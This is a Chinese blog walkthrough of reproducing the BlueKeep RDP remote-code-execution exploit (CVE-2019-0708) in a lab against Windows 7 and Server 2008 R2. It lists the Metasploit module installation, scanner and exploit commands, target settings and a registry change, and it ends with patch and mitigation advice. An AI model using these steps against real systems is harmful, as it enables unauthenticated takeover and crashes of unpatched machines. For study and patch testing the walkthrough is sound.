zoukankan      html  css  js  c++  java
  • CVE-2019-0708复现之旅

    CVE-2019-0708

    0x00 前言:

    CVE-2019-0708漏洞已经出来三四个月了对应的poc也出现了很久 ,exp 还是没动静前段时间出了个蓝屏伪exp 不过肯定那些大厂手里早已经了有了真正的exp 今天突然Github上有人上传了exp 在这里得到消息后就紧跟着复现了一下 注意!!!蓝屏概率很大 请不要用在随意测试

    漏洞概要

    漏洞名称 Microsoft Windows Remote Desktop Services远程代码执行漏洞
    威胁类型 远程代码执行 威胁等级 严重 漏洞ID CVE-2019-0708
    利用场景 未经身份验证的攻击者可以通过发送特殊构造的数据包触发漏洞,可能导致远程无需用户验证控制系统。

    受影响系统及应用版本

    Windows  7 for 32-bit Systems Service Pack 1         
    Windows  7 for x64-based Systems Service Pack 1         
    Windows  Server 2008 for 32-bit Systems Service Pack 2             
    Windows  Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)      
    Windows  Server 2008 for Itanium-Based Systems Service Pack 2             
    Windows  Server 2008 for x64-based Systems Service Pack 2             
    Windows  Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)       
    Windows  Server 2008 R2 for Itanium-Based Systems Service Pack 1           
    Windows  Server 2008 R2 for x64-based Systems Service Pack 1      
    Windows  Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core  installation)
    

    0x01 准备工具:

    https://github.com/rapid7/metasploit-framework/

    0x02 环境准备

       Kali              10.1.1.2  (攻击)
       Win7 sp1/x64      10.1.1.3  (被攻击)
       Win2008R2/x64     10.1.1.4  (被攻击)
    

    0x03 复现开始:

    使用如下命令一键安装metasploit-framework
        curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
    
    
    下载Reference中的攻击套件放置文件到msf的相应文件夹(如果已存在同名文件,直接覆盖即可)
    1.cve_2019_0708_bluekeep_rce.rb 添加 /usr/share/metasploit-framework/modules/exploits/windows/rdp/
    2.rdp.rb 替换 /usr/share/metasploit-framework/lib/msf/core/exploit/rdp.rb
    3.rdp_scanner.rb 替换 /usr/share//metasploit-framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb
    4.cve_2019_0708_bluekeep.rb 替换 /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb
    

    0x04 运行0708exp脚本是否成功

    service postgresql start  ##启动msf数据库
    msfconsole
    reload_all
    use exploit/windows/rdp/cve_2019_0708_bluekeep_rce    ##启动0708exp脚本 出现则证明成功导入rb文件 
    

    在这里插入图片描述
    在这里插入图片描述

    0x05 漏洞检验

    漏洞检验poc  在19年5月份 官方就同步了0708的poc检测脚本
        Msfconsole
        use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
        set rhost 10.1.1.3
        show options
        exploit
    

    在这里插入图片描述

    0x06 攻击利用

      use exploit/windows/rdp/cve_2019_0708_bluekeep_rce  ##进入模块
      set rhost  10.1.1.3    ##设置目标
      set target  2    ##设置级别 ps一开始设置target 3 vm那个,蓝屏了,后面看到群里大佬说设置2就没有问题了 
      exploit     ##启动攻击
    

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    windows 2008 同样的利用方法

    1.	首先修改 注册表某值为0
     测试成功版本Windows 2008r2withsp1 english standard,vmare版本:15.1.0 build-13591040。
    
     2008r2 withsp1 english standard需要修改注册表[HKEY_LOCAL_MACHINESYSTEMControlSet001ControlTerminal ServerWinStations
    dpwdfDisableCam]值修改为0
    

    在这里插入图片描述
    2. 攻击同上 方式一样 不过概率很大为蓝屏
    在这里插入图片描述

    3.	 试了有不下30次 每次蓝屏 终于成功一次 
    

    在这里插入图片描述
    在这里插入图片描述

    0x07 修复方案

    1. 目前软件厂商微软已经发布了漏洞相应的补丁:https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019- 0708#ID0EWIAC
       Windows XP 及Windows 2003可以在以下链接下载补丁:https://support.microsoft.com/en-us/help/4500705/customer-guidance-for-cve-2019-0708
    
    2.   临时解决方案
        如暂时无法更新补丁,可以通过在系统上启用网络及身份认证(NLA)以暂时规避该漏洞影响。
        在企业外围防火墙阻断TCP端口3389的连接,或对相关服务器做访问来源过滤,只允许可信IP连接。
        如无明确的需求,可禁用远程桌面服务。
    

    0x08参考资料

    https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-0708#ID0EWIAC
    https://blogs.technet.microsoft.com/msrc/2019/05/14/prevent-a-worm-by-updating-remote-desktop-services-cve-2019-0708/
    https://www.qianxin.com/other/CVE-2019-0708
    https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-0708#ID0EWIAC
    https://github.com/busterb/metasploit-framework/blob/bluekeep/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb
    
  • 相关阅读:
    1212. 地宫取宝
    895. 最长上升子序列
    高層タワー [MISSION LEVEL: B]
    分组背包
    多重背包
    1015. 摘花生
    1211. 蚂蚁感冒
    1205. 买不到的数目
    SQL基础教程(第2版)第4章 数据更新:4-2 数据的删除(DELETE)
    SQL基础教程(第2版)第4章 数据更新:4-1 数据的插入(INSERT)
  • 原文地址:https://www.cnblogs.com/Sylon/p/11747446.html
Copyright © 2011-2022 走看看